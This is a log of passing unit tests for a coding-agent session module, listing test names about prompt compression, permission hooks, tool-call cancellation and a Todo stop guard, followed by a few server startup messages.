✓ Session > prompt > auto-compress > records prompt token count instead of total token count for later session-limit checks 370ms
✓ Session > prompt > auto-compress > resets the session-local token count when the active chat instance changes 376ms
✓ Session > prompt > auto-compress > continues sending when the compression notification fails 378ms
✓ Session > prompt > auto-compress > stops before sending when the compressed prompt exceeds the session token limit 361ms
✓ Session > prompt > auto-compress > stops without throwing when the token-limit diagnostic fails 368ms
✓ Session > prompt > auto-compress > also runs automatic compression before tool response follow-up sends 388ms
✓ Session > prompt > auto-compress > injects drained mid-turn user messages with tool responses 387ms
✓ Session > prompt > auto-compress > injects drained structured mid-turn user messages with images 415ms
✓ Session > prompt > auto-compress > keeps later structured mid-turn messages when one resolution fails 394ms
✓ Session > prompt > auto-compress > adds a fallback marker when audio resolution fails 434ms
✓ Session > prompt > auto-compress > caps structured mid-turn drain items 400ms
✓ Session > prompt > auto-compress > stops draining mid-turn messages when structured resolution is aborted 407ms
✓ Session > prompt > auto-compress > logs unrecognized mid-turn drain response fields 391ms
✓ Session > prompt > auto-compress > rejects mid-turn resource links and keeps valid messages in the same batch 399ms
✓ Session > prompt > auto-compress > accepts valid mid-turn embedded resources and drops invalid ones 396ms
✓ Session > prompt > auto-compress > latches mid-turn drain off after a permanent (-32601) error 390ms
✓ Session > prompt > auto-compress > latches mid-turn drain off after repeated timeouts when the client never responds 6447ms
✓ Session > prompt > auto-compress > resets the timeout strike count when a drain succeeds 8572ms
✓ Session > prompt > auto-compress > recovers a drain that timed out and injects it on the next batch 2461ms
✓ Session > prompt > auto-compress > keeps mid-turn drain enabled after a transient error 410ms
✓ Session > prompt > auto-compress > wraps tool execution with the sleep inhibitor (acquire before execute, release after) 433ms
✓ Session > prompt > auto-compress > stops tool response follow-up before sending when the session token limit is exceeded 444ms
✓ Session > prompt > auto-compress > runs automatic compression before Stop-hook continuation sends 436ms
✓ Session > prompt > auto-compress > skips automatic compression after the first Stop-hook continuation 411ms
✓ Session > prompt > auto-compress > stops Stop-hook continuation before sending when the session token limit is exceeded 426ms
✓ Session > prompt > auto-compress > runs automatic compression before cron-fired ACP prompt sends 754ms
✓ Session > prompt > auto-compress > submits a successful prompt final once through the reverse delivery control 476ms
✓ Session > prompt > auto-compress > delivers only the final tool-free response block for a prompt 549ms
✓ Session > prompt > auto-compress > replaces the prompt candidate with a Stop-hook continuation final 474ms
✓ Session > prompt > auto-compress > keeps continuation retry text in the delivered prompt final 474ms
✓ Session > prompt > auto-compress > submits an empty successful prompt final for skipped reporting 478ms
✓ Session > prompt > auto-compress > keeps a failed delivery result outside the completed prompt flow 497ms
✓ Session > prompt > auto-compress > keeps a transport failure and throwing debug logger outside the prompt flow 476ms
✓ Session > prompt > auto-compress > does not submit delivery when the prompt hits the token limit 440ms
✓ Session > prompt > auto-compress > does not submit delivery when the prompt is cancelled 457ms
✓ Session > prompt > auto-compress > does not submit delivery when the prompt stream fails 458ms
✓ Session > prompt > auto-compress > does not submit a prompt without trusted delivery metadata 445ms
✓ Session > prompt > auto-compress > submits a successful scheduled final with stable fire correlation 518ms
✓ Session > prompt > auto-compress > delivers only the final tool-free response block for a scheduled prompt 493ms
✓ Session > prompt > auto-compress > submits an empty successful scheduled final for skipped reporting 503ms
✓ Session > prompt > auto-compress > does not submit delivery when a scheduled prompt fails 525ms
✓ Session > prompt > auto-compress > does not submit partial delivery when a scheduled prompt is cancelled 515ms
✓ Session > prompt > auto-compress > marks loop wakeup ACP prompts with loop source metadata 497ms
✓ Session > prompt > auto-compress > expands a loop.md sentinel into the task block and echoes a clean label 758ms
✓ Session > prompt > auto-compress > delivers the full block then a SHORT REMINDER on an unchanged second tick 607ms
✓ Session > prompt > auto-compress > rebuilds the loop.md resolver when the working dir changes between ticks 592ms
✓ Session > prompt > auto-compress > does not expand the project loop.md sentinel in an untrusted folder 542ms
✓ Session > prompt > auto-compress > expands a bare-/loop autonomous sentinel into the preamble with an Autonomous loop tick echo 511ms
✓ Session > prompt > auto-compress > skips missed bare-/loop autonomous sentinels 461ms
✓ Session > prompt > auto-compress > keeps the home confinement root non-empty when os.homedir() is empty (no QWEN_HOME) 496ms
✓ Session > prompt > auto-compress > confines the home loop resolver within QWEN_HOME when set 448ms
✓ Session > prompt > auto-compress > reads the home loop.md from QWEN_HOME, not the real ~/.qwen 525ms
✓ Session > prompt > auto-compress > propagates a sentinel resolve() error (EACCES) without leaking the absolute path to the client 596ms
✓ Session > prompt > auto-compress > names the QWEN_HOME-aware home path in the sanitized resolve error, not a hardcoded ~/.qwen 532ms
✓ Session > prompt > auto-compress > omits the project candidate from the sanitized resolve error in an untrusted folder 531ms
✓ Session > prompt > auto-compress > threads one captured folder-trust into both the resolve probe and the sanitized error 539ms
✓ Session > prompt > auto-compress > keeps a dynamic loop alive on a transient resolve error (no throw, re-arm tick) 541ms
✓ Session > prompt > auto-compress > still throws on a transient resolve error for a cron loop (no degraded tick) 537ms
✓ Session > prompt > auto-compress > keeps a dynamic loop alive on a transient EACCES resolve error 570ms
✓ Session > prompt > auto-compress > keeps a dynamic loop alive on a transient EISDIR resolve error 559ms
✓ Session > prompt > auto-compress > keeps a dynamic loop alive on a transient ENOTDIR resolve error 550ms
✓ Session > prompt > auto-compress > re-throws (does NOT degrade) a dynamic loop on a NON-fs resolve error 627ms
✓ Session > prompt > auto-compress > still throws on a transient EACCES resolve error for a cron loop 577ms
✓ Session > prompt > auto-compress > echoes the autonomous label when a sentinel fires with no loop.md present 582ms
✓ Session > prompt > auto-compress > leaves a non-sentinel cron prompt untouched (no loop.md expansion) 640ms
✓ Session > prompt > auto-compress > re-expands the full loop.md block after an auto-compaction resets the resolver cache 661ms
✓ Session > prompt > auto-compress > stops cron-fired ACP prompt before sending when the session token limit is exceeded 559ms
✓ Session > prompt > auto-compress > does not auto-compress slash commands handled without a model send 512ms
✓ Session > prompt > auto-compress > marks streamed slash-command messages with their source 506ms
✓ Session > prompt > auto-compress > keeps goal terminal observer after ACP /goal set 504ms
✓ Session > prompt > auto-compress > persists a cleared card, so resume cannot revive a goal the user dropped 529ms
✓ Session > prompt > auto-compress > persists the cleared card when /goal clear arrives as a prompt 520ms
✓ Session > prompt > auto-compress > persists the goal card so a resumed session can restore the hook 500ms
✓ Session > prompt > auto-compress > persists the terminal goal card so resume does not revive a finished goal 495ms
✓ Session > prompt > tool preparation stream lifecycle > emits preparing before execution and keeps resolved preparations out of finally discard 549ms
✓ Session > prompt > tool preparation stream lifecycle > suppresses TodoWrite preparation updates at the Session boundary 534ms
✓ Session > prompt > tool preparation stream lifecycle > discards a resolved preparation when the stream fails before tool execution 519ms
✓ Session > prompt > tool preparation stream lifecycle > discards preparation and stale function calls on retry before accepting the next attempt 537ms
✓ Session > prompt > tool preparation stream lifecycle > discards preparation and stale function calls on model_fallback before accepting the next attempt 520ms
✓ Session > prompt > tool preparation stream lifecycle > continues after preparation cleanup fails during retry 522ms
✓ Session > prompt > tool preparation stream lifecycle > continues after preparation cleanup fails during model_fallback 552ms
✓ Session > prompt > tool preparation stream lifecycle > preserves the stream error when discarding its unresolved preparation also fails 545ms
✓ Session > prompt > tool preparation stream lifecycle > preserves a cancelled return when discarding its unresolved preparation fails 587ms
✓ Session > prompt > tool preparation stream lifecycle > preserves a normally completed stream when preparation cleanup fails 545ms
✓ Session > prompt > tool preparation stream lifecycle > tracks unresolved preparation in a Stop Hook continuation stream 528ms
✓ Session > prompt > tool preparation stream lifecycle > tracks unresolved preparation in a cron stream 596ms
✓ Session > prompt > tool preparation stream lifecycle > tracks unresolved preparation in a background notification stream 618ms
✓ Session > prompt > passes resolved paths to read_many_files tool 546ms
✓ Session > prompt > drops resource links that fail workspace revalidation 550ms
✓ Session > prompt > injects active extension context for @ext mentions 602ms
✓ Session > prompt > injects MCP server context for @mcp mentions 573ms
✓ Session > prompt > dedupes repeated extension mentions and skips unknown mentions 550ms
✓ Session > prompt > caps extension context files and skips files outside the extension 558ms
✓ Session > prompt > runs prompt inside runtime output dir context 544ms
✓ Session > prompt > hides allow-always options when confirmation already forbids them 612ms
✓ Session > prompt > emits terminalSequence returned by permission notification hooks over ACP 576ms
✓ Session > prompt > allows info confirmation tools in plan mode 573ms
✓ Session > prompt > blocks known Plan shell writes before requesting ACP permission 1334ms
✓ Session > prompt > routes unknown resolved shell aliases to exact one-off ACP approval 697ms
✓ Session > prompt > reports ACP Plan shell approval request failures accurately 805ms
✓ Session > prompt > preserves parent cancellation while unknown Plan shell approval is pending 648ms
✓ Session > prompt > rejects permission-hook rewrites of unknown Plan shell commands 586ms
✓ Session > prompt > rejects ACP shell args mutated while building the invocation 569ms
✓ Session > prompt > cancels forged ACP outcomes that were not offered 615ms
✓ Session > prompt > keeps ambient Shell cwd fixed after ACP approval is consumed 603ms
✓ Session > prompt > invalidates ACP approval when ambient Shell cwd moves while pending 589ms
✓ Session > prompt > revalidates Plan shell context after a pending permission hook 591ms
✓ Session > prompt > returns permission error for disabled tools (L1 isToolEnabled check) 574ms
✓ Session > prompt > respects permission-request hook allow decisions without opening ACP permission dialog 635ms
✓ Session > prompt > keeps exit_plan_mode in PLAN until ACP approval executes and then notifies once 625ms
✓ Session > prompt > routes ACP protected L4 allow writes through AUTO review 1509ms
✓ Session > prompt > routes ACP Bash(*) protected writes through AUTO review 669ms
✓ Session > prompt > blocks ACP Bash(*) protected writes when AUTO classifier denies 660ms
✓ Session > prompt > asks when the AUTO classifier is unavailable and can switch to Default 647ms
✓ Session > prompt > resets AUTO denial counters when the user approves a denialTracking fallback prompt 710ms
✓ Session > prompt > in-session cron MessageDisplay > fires MessageDisplay with cumulative text and a single is_final for an in-session cron fire 656ms
✓ Session > prompt > in-session cron MessageDisplay > suppresses is_final for MessageDisplay when a cron fire is cancelled mid-stream 668ms
✓ Session > prompt > hooks > PermissionDenied hook > fires PermissionDenied hooks for AUTO classifier blocks 609ms
✓ Session > prompt > hooks > PermissionDenied hook > does not fire PermissionDenied hooks for classifier unavailability 622ms
✓ Session > prompt > hooks > PermissionDenied hook > continues AUTO block handling when PermissionDenied hook fails 739ms
✓ Session > prompt > hooks > PermissionDenied hook > skips PermissionDenied hooks when hooks are disabled 657ms
✓ Session > prompt > hooks > PermissionDenied hook > skips PermissionDenied hooks when AUTO outcome is not blocked 592ms
✓ Session > prompt > hooks > UserPromptSubmit hook > fires UserPromptSubmit hook before sending prompt 604ms
✓ Session > prompt > hooks > UserPromptSubmit hook > blocks prompt when UserPromptSubmit hook returns blocking decision 631ms
✓ Session > prompt > hooks > UserPromptSubmit hook > wraps additionalContext in the reserved tag before sending 605ms
✓ Session > prompt > hooks > Stop hook > fires Stop hook after model response completes 626ms
✓ Session > prompt > hooks > Stop hook > preserves goal feedback alongside an external stop reason 608ms
✓ Session > prompt > hooks > Stop hook > ends Stop hook continuation when the blocking cap is reached 630ms
✓ Session > prompt > hooks > Stop hook > emits the cap warning without retrying when the blocking cap is one 645ms
✓ Session > prompt > hooks > Stop hook > fires MessageDisplay with cumulative text and a single is_final during Stop hook continuation 620ms
✓ Session > prompt > hooks > Stop hook > suppresses is_final for MessageDisplay when the turn is cancelled mid Stop-hook continuation 672ms
✓ Session > prompt > hooks > PreToolUse hook > fires PreToolUse hook before tool execution 622ms
✓ Session > prompt > hooks > PreToolUse hook > blocks tool execution when PreToolUse hook returns blocking decision 801ms
✓ Session > prompt > hooks > PreToolUse hook > runs the host guard with final params and denies before execution 724ms
✓ Session > prompt > hooks > PreToolUse hook > executes once when the host guard allows the final invocation 642ms
✓ Session > prompt > hooks > PreToolUse hook > cancels without execution when aborted while awaiting the host guard 731ms
✓ Session > prompt > hooks > PostToolUse hook > fires PostToolUse hook after successful tool execution 671ms
✓ Session > prompt > hooks > PostToolUse hook > stops execution when PostToolUse hook returns shouldStop 655ms
✓ Session > prompt > hooks > PostToolUseFailure hook > fires PostToolUseFailure hook when tool execution fails 643ms
✓ Session > prompt > hooks > StopFailure hook > fires StopFailure hook when API error occurs during sendMessageStream 664ms
✓ Session > prompt > hooks > StopFailure hook > does not fire StopFailure hook when hooks are disabled 668ms
✓ Session > prompt > tool call concurrency > runs multiple Agent tool calls concurrently (issue #2516) 677ms
✓ Session > prompt > tool call concurrency > ignores malformed QWEN_CODE_MAX_TOOL_CONCURRENCY values 692ms
✓ Session > prompt > system reminders > prepends plan-mode reminder when approval mode is PLAN (#1151) 649ms
✓ Session > prompt > system reminders > does not prepend plan-mode reminder in default approval mode 655ms
✓ Session > prompt > ask_user_question cancellation turn stop > waits for pending rewrites before ending after cancelled ask_user_question 739ms
✓ Session > prompt > ask_user_question cancellation turn stop > waits for pending rewrites before cron stops after cancelled ask_user_question 821ms
✓ Session > prompt > ask_user_question cancellation turn stop > ends Stop-hook continuation after cancelled ask_user_question 689ms
✓ Session > prompt > ask_user_question cancellation turn stop > preserves parent cancellation during Stop-hook permission 722ms
✓ Session > prompt > ask_user_question cancellation turn stop > reports cancellation when abort lands between Stop-hook iterations 672ms
✓ Session > prompt > ask_user_question cancellation turn stop > ends background notification processing after cancelled ask_user_question 736ms
✓ Session > prompt > ask_user_question cancellation turn stop > reports cancellation while a background notification awaits permission 791ms
✓ Session > prompt > ask_user_question cancellation turn stop > reports cancellation when a background stream ends after abort 706ms
✓ Session > runToolCalls > records a missing tool name as a pre-execution failure 688ms
✓ Session > runToolCalls > preserves cancellation when tool enablement resolves after abort 667ms
✓ Session > runToolCalls > preserves cancellation when permission flow resolves deny after abort 683ms
✓ Session > runToolCalls > records one successful terminal when ACP updates fail 710ms
✓ Session > runToolCalls > records execution-stage cancellation on both axes 698ms
✓ Session > runToolCalls > does not execute after cancellation settles during PreToolUse 755ms
✓ Session > runToolCalls > preserves cancellation while emitting a PreToolUse block message 697ms
✓ Session > runToolCalls > does not execute after cancellation settles during the start emitter 792ms
✓ Session > runToolCalls > keeps a structured timeout exception ahead of a later parent abort 694ms
✓ Session > runToolCalls > records PostToolUse stop as an error after successful execution 709ms
✓ Session > runToolCalls > records postprocessing failure after successful execution 685ms
✓ Session > runToolCalls > preserves a structured postprocessing error type after successful execution 796ms
✓ Session > runToolCalls > records cancellation when abort arrives during exception failure hooks 743ms
✓ Session > runToolCalls > records one terminal when failure hooks and ACP updates fail 699ms
✓ Session > runToolCalls > classifies postprocessing failures independently from a settled soft error 735ms
✓ Session > runToolCalls > replaces 'successful execution' output when image postprocessing is cancelled 734ms
✓ Session > runToolCalls > replaces 'soft execution failure' output when image postprocessing is cancelled 733ms
✓ Session > runToolCalls > replaces 'soft execution timeout' output when image postprocessing is cancelled 707ms
✓ Session > runToolCalls > prefers cancellation when PostToolUse stops after execution settles 759ms
✓ Session > runToolCalls > publishes a persisted Todo plan when cancellation races completion 719ms
✓ Session > runToolCalls > lets normalized tool images select a full-turn model 733ms
✓ Session > runToolCalls > keeps a full-turn model selected across parallel tool images 732ms
✓ Session > runToolCalls > keeps a full-turn model selected in a Stop hook continuation 784ms
✓ Session > runToolCalls > uses the provider tool-call id for the GenAI field only 729ms
✓ Session > runToolCalls > passes the transcript call id to monitor invocations 755ms
✓ Session > runToolCalls > does not fail ACP tool execution when telemetry helpers throw 730ms
✓ Session > runToolCalls > isolates enter_plan_mode from executable ACP siblings while preserving duplicate responses 771ms
✓ Session > runToolCalls > keeps a structured timeout as an error after a later parent abort 732ms
✓ Session > runToolCalls > refreshes managed memory instructions after successful ACP tool writes 735ms
✓ Session > runToolCalls > does not fire PostToolBatch hooks from the ACP session path 772ms
✓ Session > runToolCalls > marks cancelled ask_user_question as a turn stop 738ms
✓ Session > runToolCalls > skips later sequential tools after cancelled ask_user_question 758ms
✓ Session > runToolCalls > preserves skipped tool responses when skipped tool updates fail 743ms
✓ Session > runToolCalls > uses stable unique ids for skipped tool calls without ids 777ms
✓ Session > runToolCalls > skips later tools after non-question permission cancellation 746ms
✓ Session > runToolCalls > skips later pre-loop tools after non-question permission cancellation 761ms
✓ Session > runToolCalls > skips later tools after selecting the reject permission option 752ms
✓ Session > runToolCalls > skips later tools when cancellation confirmation cleanup fails 788ms
✓ Session > runToolCalls > skips later tools after non-question permission request failure 759ms
✓ Session > runToolCalls > does not treat a parent abort during permission as explicit rejection 821ms
✓ Session > runToolCalls > keeps plan mode and gives manual guidance when switch_mode approval is unavailable 794ms
✓ Session > runToolCalls > cleans up Agent sub-agent listeners when permission request fails before execution 790ms
✓ Session > runToolCalls > stops and aborts Agent tool execution after nested ask_user_question cancellation 827ms
✓ Session > runToolCalls > stops and aborts Agent tool execution after nested non-question permission cancellation 828ms
✓ Session > runToolCalls > ignores later subagent tool events after nested ask_user_question cancellation 824ms
✓ Session > runToolCalls > aborts sibling Agent calls in the same batch after nested ask_user_question cancellation 836ms
✓ Session > runToolCalls > aborts sibling Agent calls in the same batch after loop detection 792ms
✓ Session > runToolCalls > does not treat parent abort during nested Agent permission as explicit rejection 858ms
✓ Session > runToolCalls > does not start Agent batches with an already-aborted parent signal 784ms
✓ Session > runToolCalls > skips unstarted Agent calls after nested ask_user_question cancellation 852ms
✓ Session > runToolCalls > skips later sequential batches after nested ask_user_question cancellation 869ms
✓ Session > runToolCalls > skips later sequential batches after nested non-question permission cancellation 847ms
✓ Session > runToolCalls > does not fire success hooks for sibling Agents aborted by nested ask_user_question cancellation 871ms
✓ Session > runToolCalls > marks Agent exceptions after nested ask_user_question cancellation as interrupts 860ms
✓ Session > runToolCalls > marks Agent soft errors after nested ask_user_question cancellation as interrupts 870ms
✓ Session > runToolCalls > executes only the first duplicate functionCall id in one batch 821ms
✓ Session > runToolCalls > finalizes the aggregate ACP response before recording and returning it 865ms
✓ Session > runToolCalls > suppresses duplicate provider functionCall ids already answered in history 816ms
✓ Session > runToolCalls > drops repeated duplicate provider functionCall ids after the first synthetic response 817ms
✓ Session > runToolCalls > suppresses duplicate TodoWrite calls without emitting plan updates 838ms
✓ Session > runToolCalls > keeps duplicate synthetic responses ordered with executable calls 816ms
✓ Session > runToolCalls > does not dedupe function calls with empty ids in one batch 819ms
✓ Session > dispose > clears notification and cron queues, marks disposed, and unregisters callbacks 811ms
✓ Session > dispose > aborts an active notificationAbortController and nulls the reference 846ms
✓ Session > dispose > aborts cronAbortController and resets cron state on dispose 815ms
✓ Session > dispose > is idempotent — repeated dispose() calls do not throw or re-register 827ms
✓ Session > dispose > guards #drainNotificationQueue from processing after dispose 866ms
✓ Session > daemon Todo Stop Guard > cleans up an admitted retry cancelled during previous-turn drain 898ms
✓ Session > daemon Todo Stop Guard > treats dispose as controlled cancellation and rejects late Todo re-arming 829ms
✓ Session > daemon Todo Stop Guard > surfaces an AbortError when the prompt signal was not aborted 831ms
✓ Session > daemon Todo Stop Guard > is off by default 903ms
✓ Session > daemon Todo Stop Guard > does not publish rejected Todo arguments as a live plan 1030ms
✓ Session > daemon Todo Stop Guard > preserves feature-off Stop hook loop reporting before token rejection 1009ms
✓ Session > daemon Todo Stop Guard > reports cancellation before a feature-off Stop loop starts 875ms
✓ Session > daemon Todo Stop Guard > runs exactly two continuations and emits replayable status 877ms
✓ Session > daemon Todo Stop Guard > does not arm from Todo arguments when the result is not structured 844ms
✓ Session > daemon Todo Stop Guard > does not arm from a discovered tool that shadows todo_write 882ms
✓ Session > daemon Todo Stop Guard > counts a started stream that fails and resumes only the final attempt on trusted retry 872ms
✓ Session > daemon Todo Stop Guard > resumes an API-paused chain for its related background result 1066ms
✓ Session > daemon Todo Stop Guard > does not change error-time queue draining before the Guard is armed 1146ms
✓ Session > daemon Todo Stop Guard > clears a failed guard chain when a new ordinary prompt starts 1097ms
✓ Session > daemon Todo Stop Guard > recaptures the background baseline when retry has no trusted Guard state 1138ms
✓ Session > daemon Todo Stop Guard > is forced off in safe mode 1164ms
✓ Session > daemon Todo Stop Guard > is forced off in bare mode 1138ms
✓ Session > daemon Todo Stop Guard > is forced off in Approval plan mode 1159ms
✓ Session > daemon Todo Stop Guard > clears stale FIFO priority when a Plan prompt begins 1156ms
✓ Session > daemon Todo Stop Guard > keeps observed FIFO priority when an out-of-band mode change clears Guard trust 1199ms
✓ Session > daemon Todo Stop Guard > keeps FIFO priority when Guard trust clears during queue inspection 1157ms
✓ Session > daemon Todo Stop Guard > does not let a late Todo write re-arm after Guard trust clears as its stream starts 1163ms
✓ Session > daemon Todo Stop Guard > drains deferred automatic work after an active Guard is invalidated and the prompt errors 1258ms
✓ Session > daemon Todo Stop Guard > still runs when external hooks are disabled 1150ms
✓ Session > daemon Todo Stop Guard > preserves drained input without consuming or reviving the guard when token limits block the continuation stream 2042ms
✓ Session > daemon Todo Stop Guard > preserves pre-compression drain input when a queued prompt wins the claim 1244ms
✓ Session > daemon Todo Stop Guard > revalidates plan mode before claiming a continuation 1278ms
✓ Session > daemon Todo Stop Guard > fails closed when watched drain omits queued-prompt state 1166ms
✓ Session > daemon Todo Stop Guard > fails closed when watched drain contains an invalid message entry 1196ms
✓ Session > daemon Todo Stop Guard > fails closed when watched drain contains an invalid structured content block 1153ms
✓ Session > daemon Todo Stop Guard > fails closed when continuation claim returns an invalid response 1785ms
✓ Session > daemon Todo Stop Guard > fails closed when continuation claim returns an old client method-not-found error 1123ms
✓ Session > daemon Todo Stop Guard > fails closed when continuation claim times out 1572ms
✓ Session > daemon Todo Stop Guard > does not send a continuation when hard-suspended during claim 1194ms
✓ Session > daemon Todo Stop Guard > preserves queued-prompt priority when hard-suspended during claim 1239ms
✓ Session > daemon Todo Stop Guard > does not restore queued-prompt priority while the session is closing 1073ms
✓ Session > daemon Todo Stop Guard > consumes a queued-prompt release that arrives before the claim response 1180ms
✓ Session > daemon Todo Stop Guard > does not reopen queue admission after a continuation claim 1243ms
✓ Session > daemon Todo Stop Guard > selects a drained image model before Guard claims and skips primary-model compression 1184ms
✓ Session > daemon Todo Stop Guard > does not persist an unsent Guard prompt when compression is cancelled 1114ms
✓ Session > daemon Todo Stop Guard > does not count a failed Guard compression or block later automatic work 1212ms
✓ Session > daemon Todo Stop Guard > keeps external Stop hook continuation when Guard compression throws 1151ms
✓ Session > daemon Todo Stop Guard > keeps 'mid-turn input' ahead of an external hook when Guard compression fails 1178ms
✓ Session > daemon Todo Stop Guard > keeps 'a complete FIFO prompt' ahead of an external hook when Guard compression fails 1217ms
✓ Session > daemon Todo Stop Guard > counts every Guard-attributable tool follow-up as a model call 1196ms
✓ Session > daemon Todo Stop Guard > preserves a successful Guard tool response before history advances when stream creation fails 1282ms
✓ Session > daemon Todo Stop Guard > does not duplicate a successful Guard tool response after history advances when stream creation fails 1225ms
✓ Session > daemon Todo Stop Guard > does not duplicate a successful Guard tool response after compression replaces the chat when stream creation fails 1273ms
✓ Session > daemon Todo Stop Guard > closes Guard tools with the remaining attempt after Todo completion 1315ms
✓ Session > daemon Todo Stop Guard > drains background input when completed-Todo tool closure fails 1302ms
✓ Session > daemon Todo Stop Guard > lets mid-turn input sponsor the tool response after Todo completion 1210ms
✓ Session > daemon Todo Stop Guard > does not close completed Todo tools after PostToolUse stops the chain 1282ms
✓ Session > daemon Todo Stop Guard > lets a queued prompt preempt completed Todo tool closure 1201ms
✓ Session > daemon Todo Stop Guard > keeps tool responses when mid-turn input supersedes a nested Guard call 1210ms
✓ Session > daemon Todo Stop Guard > keeps the external Stop hook count when nested Guard work yields to the user 1306ms
✓ Session > daemon Todo Stop Guard > does not let mid-turn input revive a PostToolUse-stopped guard 1284ms
✓ Session > daemon Todo Stop Guard > does not revive a deferred chain after entering and leaving plan mode 1967ms
✓ Session > daemon Todo Stop Guard > yields to a queued complete prompt and preserves simultaneously drained input 1184ms
✓ Session > daemon Todo Stop Guard > releases FIFO priority when the queued prompt is a trusted retry 1175ms
✓ Session > daemon Todo Stop Guard > keeps a queued prompt ahead of related automatic input 1256ms
✓ Session > daemon Todo Stop Guard > retains observed FIFO priority while preserving simultaneous mid-turn input 1332ms
✓ Session > daemon Todo Stop Guard > terminates a yielded guard when the queued prompt is cancelled 1217ms
✓ Session > daemon Todo Stop Guard > ignores a late release from a previous queued-prompt owner 1207ms
✓ Session > daemon Todo Stop Guard > drains old deferred work when the FIFO prompt errors before arming 1265ms
✓ Session > daemon Todo Stop Guard > drains deferred work after FIFO cancellation without running simultaneous mid-turn input first 1257ms
✓ Session > daemon Todo Stop Guard > does not re-arm after the matching queued owner is released 1288ms
✓ Session > daemon Todo Stop Guard > runs mid-turn user input first and resets the continuation budget 1230ms
✓ Session > daemon Todo Stop Guard > ignores background tasks that predate the work chain 1264ms
✓ Session > daemon Todo Stop Guard > classifies monitor notifications by their owner agent lineage 1216ms
✓ Session > daemon Todo Stop Guard > commits and rolls back existing-agent lineage around send_message execution 1246ms
✓ Session > daemon Todo Stop Guard > keeps a successful agent continuation related when a concurrent continuation fails 1272ms
✓ Session > daemon Todo Stop Guard > preserves combined continuation tool responses when 'a newer prompt supersedes the turn' 1382ms
✓ Session > daemon Todo Stop Guard > preserves combined continuation tool responses when 'the user cancels the turn' 1284ms
✓ Session > daemon Todo Stop Guard > preserves newer prompt state and includes tasks created while the superseded prompt unwinds 1319ms
✓ Session > daemon Todo Stop Guard > reclassifies queued notifications when a new work chain starts 1277ms
✓ Session > daemon Todo Stop Guard > defers while a background task created by the work chain is running 1339ms
✓ Session > daemon Todo Stop Guard > defers while a background shell created by the work chain is running 1256ms
✓ Session > daemon Todo Stop Guard > defers while a monitor created by the work chain is running 1240ms
✓ Session > daemon Todo Stop Guard > does not resume an old Guard after the working directory changes 2132ms
✓ Session > daemon Todo Stop Guard > defers while a background task created by the work chain is paused 1230ms
✓ Session > daemon Todo Stop Guard > continues the same guard when its background task reports completion 1276ms
✓ Session > daemon Todo Stop Guard > does not let an old notification displace a chain waiting on its own task 1357ms
✓ Session > daemon Todo Stop Guard > protects a related notification from unrelated queue overflow 1259ms
✓ Session > daemon Todo Stop Guard > preserves queued related notifications when the queue is full 1256ms
✓ Session > daemon Todo Stop Guard > protects a related notification while FIFO priority outlives guard trust 1306ms
✓ Session > daemon Todo Stop Guard > unblocks deferred automatic work when history restoration clears trust 1298ms
✓ Session > daemon Todo Stop Guard > does not let a related background result re-arm after rewind 1303ms
✓ Session > daemon Todo Stop Guard > does not let a related background result revive a hard-stopped guard 1336ms
✓ Session > daemon Todo Stop Guard > does not let an unrelated background result clear hard suspension 1302ms
✓ Session > daemon Todo Stop Guard > retains an already-used attempt when a related background task completes 1328ms
✓ Session > daemon Todo Stop Guard > does not let a pre-existing task notification revive an exhausted guard 1321ms
✓ Session > daemon Todo Stop Guard > coalesces a blocking external Stop hook with the guard 1354ms
✓ Session > daemon Todo Stop Guard > preserves the external Stop hook tool loop after Guard exhaustion 1316ms
✓ Session > daemon Todo Stop Guard > preserves an external Stop hook tool result when nested Guard validation defers 1306ms
✓ Session > daemon Todo Stop Guard > preserves an external Stop hook tool result when a nested Guard claim is unavailable 1369ms
✓ Session > daemon Todo Stop Guard > reports Guard exhaustion before a coalesced external Stop hook reaches its cap 1294ms
✓ Session > daemon Todo Stop Guard > resets consecutive Stop-hook blocks after a nonblocking allow 1396ms
✓ Session > daemon Todo Stop Guard > preserves a coalesced Stop-loop event when token rejection skips the final send 1449ms
✓ Session > daemon Todo Stop Guard > rechecks user input after a slow external Stop hook 1336ms
✓ Session > daemon Todo Stop Guard > accounts for a slow blocking Stop hook after handling mid-turn input 1550ms
✓ Session > daemon Todo Stop Guard > 'keeps the external continuation when …' after a slow Stop hook 1452ms
✓ Session > daemon Todo Stop Guard > 'discards the stale hook response when…' after a slow Stop hook 1460ms
✓ Session > daemon Todo Stop Guard > keeps an external Stop hook when an earlier queued-prompt probe is unavailable 1310ms
✓ Session > daemon Todo Stop Guard > sends drained user input when a Guard preparation claim is unavailable 1663ms
✓ Session > daemon Todo Stop Guard > lets an independent background notification arm its own guard 2100ms
✓ Session > daemon Todo Stop Guard > suspends an armed guard when a background notification stream aborts 1370ms
✓ Session > daemon Todo Stop Guard > lets an independent cron turn arm its own guard 1364ms
✓ Session > daemon Todo Stop Guard > suspends an armed guard when a cron stream aborts 1383ms
✓ Session > daemon Todo Stop Guard > treats a queued pre-prompt wakeup as part of the new baseline 1377ms
✓ Session > daemon Todo Stop Guard > defers for a wakeup created by the current work chain 1377ms
✓ Session > daemon Todo Stop Guard > drains a related wakeup before an older unrelated cron item 1402ms
✓ Session > daemon Todo Stop Guard > coalesces unrelated recurring cron fires while a guard is waiting 1341ms
✓ Session > daemon Todo Stop Guard > coalesces recurring cron fires while FIFO priority outlives guard trust 1456ms
✓ Session > daemon Todo Stop Guard > trims an oversized deferred cron queue before a related wakeup arrives 1394ms
✓ Session > daemon Todo Stop Guard > trims an oversized deferred cron queue before a unrelated cron arrives 1369ms
✓ Session > follow-up suggestion (daemon assist push) > fires prompt-suggestion extNotification after end_turn when enabled 1305ms
✓ Session > follow-up suggestion (daemon assist push) > does not emit when the feature is disabled 1372ms
✓ Session > follow-up suggestion (daemon assist push) > emits when the setting is unset (on by default) 1313ms
✓ Session > follow-up suggestion (daemon assist push) > does not emit in PLAN approval mode 1397ms
✓ Session > follow-up suggestion (daemon assist push) > logs filterReason via PromptSuggestionEvent when generation is suppressed 1355ms
✓ Session > follow-up suggestion (daemon assist push) > aborts the in-flight generator when a new prompt arrives 1391ms
✓ Session > follow-up suggestion (daemon assist push) > aborts the in-flight generator when cancelPendingPrompt is called 1354ms
qwen serve: createServeApp default fsFactory uses trusted=false — agent ACP writeTextFile calls will reject with untrusted_workspace. Inject deps.fsFactory (with explicit trust) or deps.bridge to override.
qwen serve: session reaper started (interval 60000ms, idle threshold 1800000ms)
qwen serve: session reaper started (interval 60000ms, idle threshold 1800000ms)
qwen serve: session reaper started (interval 60000ms, idle threshold 1800000ms)
qwen serve: session reaper started (interval 60000ms, idle threshold 1800000ms)
qwen serve: session reaper started (interval 60000ms, idle threshold 1800000ms)
